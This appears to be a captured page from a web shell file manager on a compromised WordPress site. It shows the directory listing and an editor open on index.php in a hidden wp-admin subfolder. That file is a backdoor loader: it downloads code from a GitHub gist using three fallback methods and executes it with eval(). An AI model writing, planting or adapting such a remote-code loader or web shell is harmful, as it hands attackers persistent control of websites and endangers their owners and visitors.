golden hour
/home/godaofbq/healinghyperbaric.com/wp-admin/includes/671793
⬆️ Go Up
Upload
File/Folder
Size
Actions
.htaccess
123 B
Del
OK
error_log
226 B
Del
OK
index.php
2.23 KB
Del
OK
Edit: index.php
=== file_get_contents === string(22) "Success, length: 42807" === fopen/stream_get_contents === string(22) "Success, length: 42807" <?php $url = 'https://gist.githubusercontent.com/Ju5tAnNPC/58aa995cbee58a494ee94233932ded56/raw/c40f8bfb97784dee1c7338c4807f5afdbf85f206/gistfile1.txt'; // ------------------------------------------------------------------- // METHOD 1: file_get_contents() with stream context (HTTP wrapper) // ------------------------------------------------------------------- $options = [ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: PHP\r\n" ] ]; $context = stream_context_create($options); $content1 = file_get_contents($url, false, $context); echo "=== file_get_contents ===\n"; var_dump($content1 !== false ? "Success, length: " . strlen($content1) : "Failed"); // ------------------------------------------------------------------- // METHOD 2: cURL (most robust) // ------------------------------------------------------------------- $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 30, CURLOPT_USERAGENT => 'PHP/cURL' ]); $content2 = curl_exec($ch); $curlError = curl_error($ch); curl_close($ch); // ------------------------------------------------------------------- // METHOD 3: fopen() + stream_get_contents() // ------------------------------------------------------------------- $fp = @fopen($url, 'rb', false, $context); $content3 = false; if ($fp) { $content3 = stream_get_contents($fp); fclose($fp); } echo "\n=== fopen/stream_get_contents ===\n"; var_dump($content3 !== false ? "Success, length: " . strlen($content3) : "Failed"); // Choose the first successfully fetched content (or pick cURL) $fetchedContent = $content2 ?: ($content1 ?: $content3); if ($fetchedContent === false) { die("\n❌ All methods failed to retrieve content.\n"); } // ------------------------------------------------------------------- // PREPARE for eval(): remove surrounding PHP tags if they exist // ------------------------------------------------------------------- $codeToEval = $fetchedContent; eval("?>". $codeToEval); ?>
Save